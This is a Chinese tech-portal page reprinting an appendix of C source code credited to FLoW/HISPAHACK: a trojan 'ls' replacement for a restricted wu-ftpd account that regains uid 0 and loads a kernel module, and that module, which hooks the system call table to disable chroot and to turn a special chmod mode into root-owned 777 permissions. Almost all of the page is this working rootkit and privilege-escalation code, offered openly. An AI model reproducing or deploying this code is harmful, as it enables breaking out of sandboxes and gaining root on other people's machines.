china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


附录(源码)


CHROOT module trick

NAME : chr.c

AUTHOR : FLoW/HISPAHACK

DESCRIPTION : The first source represents the ls 'trojan'. The second one represents the actual module which is doing the chroot trick.

LINK : http://hispahack.ccc.de



/*LS 'TROJAN'*/

/* Sustituto para el "ls" de un ftp restringido.

* Carga el modulo del kernel chr.o

* FLoW - !H'98

*/



#include <stdio.h>

#include <sys/wait.h>



main()

{

int estado;



printf("UID: %i EUID: %i\n",getuid(),geteuid());

printf("Cambiando EUID...\n");



setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */



printf("UID: %i EUID: %i\n",getuid(),geteuid());



switch(fork())

{

case -1: printf("Error creando hijo.\n");

case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0);

printf("Error ejecutando insmod.\n");

exit(1);

default: printf("Cargando modulo chroot...\n");

wait(&estado);

if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)

printf("Modulo cargado!\n");

else

printf("Error cargando modulo.\n");

break;

}

}







/* Modulo del kernel para anular un chroot() y "retocar" chmod()

* FLoW - !H'98

* Basado en heroin.c de Runar Jensen <zarq@opaque.org>

*/



#include <linux/fs.h>

#include <linux/module.h>

#include <linux/malloc.h>

#include <linux/unistd.h>

#include <sys/syscall.h>



#include <linux/dirent.h>

#include <linux/proc_fs.h>

#include <stdlib.h>





static inline _syscall2(int, chmod, const char*, path, mode_t, mode);

static inline _syscall1(int, setuid, uid_t, uid);



extern void *sys_call_table[];



int (*original_chroot)(const char *, const char*);

int (*original_chmod)(const char *, mode_t);

int (*original_setuid)(uid_t);



int hacked_chmod(const char *path, mode_t mode)

{

int err;



if(mode==83) { /* chmod 123 XXX */

(*original_setuid)(0);

err=(*original_chmod)(path, 511); /* chmod 777 XXX */

}



else {

err=(*original_chmod)(path, mode);

}



return(err);

}



int hacked_chroot(const char *path, const char *cmd)

{

    return(0);

}



int init_module(void)

{

original_setuid = sys_call_table[SYS_setuid];

original_chroot = sys_call_table[SYS_chroot];

sys_call_table[SYS_chroot] = hacked_chroot;

original_chmod = sys_call_table[SYS_chmod];

sys_call_table[SYS_chmod] = hacked_chmod;

    return(0);

}



void cleanup_module(void)

{

sys_call_table[SYS_chroot] = original_chroot;

sys_call_table[SYS_chmod] = original_chmod;

}

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网